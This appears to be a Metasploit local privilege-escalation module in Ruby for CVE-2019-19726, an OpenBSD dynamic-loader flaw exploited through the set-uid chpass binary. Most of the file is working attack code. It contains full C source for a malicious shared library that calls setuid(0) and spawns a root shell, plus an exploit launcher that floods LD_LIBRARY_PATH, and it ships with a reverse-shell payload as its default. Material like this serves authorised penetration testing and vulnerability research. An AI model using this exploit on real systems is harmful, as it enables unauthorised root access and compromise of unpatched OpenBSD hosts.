204 lines
6.6 KiB
Ruby
204 lines
6.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Unix
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'OpenBSD Dynamic Loader chpass Privilege Escalation',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in the OpenBSD `ld.so`
|
|
dynamic loader (CVE-2019-19726).
|
|
|
|
The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH`
|
|
environment variable when set with approximately `ARG_MAX` colons.
|
|
|
|
This can be abused to load `libutil.so` from an untrusted path,
|
|
using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid
|
|
executable, resulting in privileged code execution.
|
|
|
|
This module has been tested successfully on:
|
|
|
|
OpenBSD 6.1 (amd64); and
|
|
OpenBSD 6.6 (amd64)
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Qualys', # Discovery and exploit
|
|
'bcoles' # Metasploit
|
|
],
|
|
'DisclosureDate' => '2019-12-11',
|
|
'Platform' => %w[bsd unix], # OpenBSD
|
|
'Arch' => [ARCH_CMD],
|
|
'SessionTypes' => ['shell'],
|
|
'References' => [
|
|
['CVE', '2019-19726'],
|
|
['EDB', '47780'],
|
|
['URL', 'https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726'],
|
|
['URL', 'https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt'],
|
|
['URL', 'https://www.openwall.com/lists/oss-security/2019/12/11/9'],
|
|
['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass'],
|
|
['URL', 'https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig']
|
|
],
|
|
'Targets' => [['Automatic', {}]],
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse',
|
|
'WfsDelay' => 10
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
register_options([
|
|
OptString.new('CHPASS_PATH', [true, 'Path to chpass', '/usr/bin/chpass'])
|
|
])
|
|
register_advanced_options([
|
|
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
|
])
|
|
end
|
|
|
|
def base_dir
|
|
datastore['WritableDir'].to_s
|
|
end
|
|
|
|
def chpass_path
|
|
datastore['CHPASS_PATH']
|
|
end
|
|
|
|
def upload(path, data)
|
|
print_status("Writing '#{path}' (#{data.size} bytes) ...")
|
|
rm_f(path)
|
|
write_file(path, data)
|
|
register_file_for_cleanup(path)
|
|
end
|
|
|
|
def libutil_name
|
|
return unless command_exists?('readelf')
|
|
|
|
cmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\[(libutil\.so\.[\d.]+)\]/).flatten.first
|
|
end
|
|
|
|
def check
|
|
patches = cmd_exec('syspatch -l').to_s
|
|
patch = '013_ldso'
|
|
|
|
return CheckCode::Safe("Patch #{patch} has been installed. Target is not vulnerable.") if patches.include?(patch)
|
|
|
|
return CheckCode::Safe("Patch #{patch} is not present, but cc compiler is not installed.") unless command_exists?('cc')
|
|
|
|
vprint_good('cc is installed')
|
|
|
|
CheckCode::Detected("Patch #{patch} is not present")
|
|
end
|
|
|
|
def exploit
|
|
if !datastore['ForceExploit'] && is_root?
|
|
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
|
|
end
|
|
|
|
unless writable?(base_dir)
|
|
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
|
end
|
|
|
|
# Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9
|
|
lib_data = <<~EOF
|
|
#include <paths.h>
|
|
#include <unistd.h>
|
|
|
|
static void __attribute__ ((constructor)) _init (void) {
|
|
if (setuid(0) != 0) _exit(__LINE__);
|
|
if (setgid(0) != 0) _exit(__LINE__);
|
|
char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };
|
|
execve(argv[0], argv, NULL);
|
|
_exit(__LINE__);
|
|
}
|
|
EOF
|
|
|
|
libs = []
|
|
lib = libutil_name
|
|
if lib
|
|
libs << lib
|
|
print_good("Found libutil.so name: #{lib}")
|
|
else
|
|
libs << 'libutil.so.12.1'
|
|
libs << 'libutil.so.13.1'
|
|
print_warning("Could not determine libutil.so name. Using: #{libs.join(', ')}")
|
|
end
|
|
|
|
lib_src_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}.c"
|
|
upload lib_src_path, lib_data
|
|
libs.each do |lib_name|
|
|
lib_path = "#{base_dir}/#{lib_name}"
|
|
print_status("Compiling #{lib_path} ...")
|
|
output = cmd_exec("cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall")
|
|
register_file_for_cleanup(lib_path)
|
|
|
|
unless output.blank?
|
|
print_error(output)
|
|
fail_with(Failure::Unknown, "#{lib_path}.c failed to compile")
|
|
end
|
|
end
|
|
|
|
# Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9
|
|
exploit_data = <<~EOF
|
|
#include <string.h>
|
|
#include <sys/param.h>
|
|
#include <sys/resource.h>
|
|
#include <unistd.h>
|
|
|
|
int
|
|
main(int argc, char * const * argv)
|
|
{
|
|
#define LLP "LD_LIBRARY_PATH=."
|
|
static char llp[ARG_MAX - 128];
|
|
memset(llp, ':', sizeof(llp)-1);
|
|
memcpy(llp, LLP, sizeof(LLP)-1);
|
|
char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };
|
|
|
|
#define DATA (ARG_MAX * sizeof(char *))
|
|
const struct rlimit data = { DATA, DATA };
|
|
if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);
|
|
|
|
if (argc <= 1) _exit(__LINE__);
|
|
argv += 1;
|
|
execve(argv[0], argv, envp);
|
|
_exit(__LINE__);
|
|
}
|
|
EOF
|
|
|
|
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
|
upload("#{exploit_path}.c", exploit_data)
|
|
print_status("Compiling #{exploit_path} ...")
|
|
output = cmd_exec("cc -s #{exploit_path}.c -o #{exploit_path} -Wall")
|
|
register_file_for_cleanup(exploit_path)
|
|
|
|
unless output.blank?
|
|
print_error(output)
|
|
fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")
|
|
end
|
|
|
|
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
|
upload(payload_path, "#!/bin/sh\n#{payload.encoded}\n")
|
|
chmod(payload_path)
|
|
|
|
print_status('Launching exploit...')
|
|
output = cmd_exec("cd #{base_dir};echo '#{payload_path}&exit'|#{exploit_path} #{chpass_path}")
|
|
output.each_line { |line| vprint_status line.chomp }
|
|
end
|
|
end
|